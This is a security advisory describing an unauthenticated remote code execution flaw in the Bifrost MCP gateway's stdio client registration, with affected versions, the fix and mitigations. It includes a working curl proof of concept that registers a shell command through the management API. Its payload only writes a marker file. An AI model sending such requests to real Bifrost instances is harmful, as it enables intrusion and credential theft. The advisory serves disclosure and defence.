# Bifrost is vulnerable to Unauthenticated Remote Code Execution via MCP Stdio Client Registration

> Source: <https://research.jfrog.com/vulnerabilities/bifrost-is-vulnerable-to-unauthenticated-remote-code-execution-via-mcp-stdio-client-registration-cve-2026-90898/>
> Published: 2026-09-14 00:00:00+00:00

## [Summary](#summary)

Bifrost is vulnerable to Unauthenticated Remote Code Execution via MCP Stdio Client Registration

## [Component](#component)

Bifrost (github.com/maximhq/bifrost/transports)

## [Affected versions](#affected-versions)

< 2.1.0

## [Description](#description)

Bifrost registers MCP clients through its management API. A stdio client is a command plus args. Bifrost starts that program in the gateway the moment the client is added. No MCP handshake required.

The default is governance.auth_config.is_enabled=false. Auth off means every caller is a local admin. One unauthenticated POST /api/mcp/client is enough to run a program as the Bifrost process user (appuser on the official image).

I did this on maximhq/bifrost v1.6.3. The HTTP request may time out. The process is already running. transports/v2.1.0 refuses an unauthenticated stdio registration with 403. transports/v2.0.0 still allows it. The 1.6.x line through 1.6.11 does not contain the fix.

## [PoC](#poc)

**Step 1 - Run Bifrost with management authentication disabled**

Start a Bifrost HTTP transport before 2.1.0 with the default governance.auth_config.is_enabled=false. The management API must be reachable on the host and port you use below (the binary default is localhost:8080):

```
curl -fsS http://127.0.0.1:8080/health
```

**Step 2 - Register a stdio MCP client**

No authentication header is required. A request timeout is expected while Bifrost waits for an MCP handshake. The timeout does not mean the command failed to start.

```
curl --max-time 5 --silent --show-error \
  --request POST http://127.0.0.1:8080/api/mcp/client \
  --header 'Content-Type: application/json' \
  --data '{
    "name": "rceproof",
    "connection_type": "stdio",
    "auth_type": "none",
    "stdio_config": {
      "command": "/bin/sh",
      "args": ["-c", "echo PROVEN > /tmp/bifrost-mcp-rce; sleep 60"]
    },
    "tools_to_execute": ["*"]
  }' || true
```

**Step 3 - Confirm the command ran**

```
cat /tmp/bifrost-mcp-rce
```

Expected output:

```
PROVEN
```

On 2.1.0 or later, the same POST returns 403 and the marker is not written.

## [Vulnerability Mitigations](#vulnerability-mitigations)

Upgrade Bifrost HTTP transport to 2.1.0 or later. The fix ([https://github.com/maximhq/bifrost/pull/6757](https://github.com/maximhq/bifrost/pull/6757)) returns 403 for unauthenticated stdio MCP client registration when dashboard authentication is disabled or unconfigured. Authenticated admins can still add stdio clients. The 1.6.x line through 1.6.11 and transports/v2.0.0 do not include this change.

Until you upgrade, set governance.auth_config.is_enabled to true, use strong administrator credentials, and keep the management listener off untrusted networks. Treat any exposed instance that ran with authentication disabled as compromised and rotate virtual keys and provider credentials.
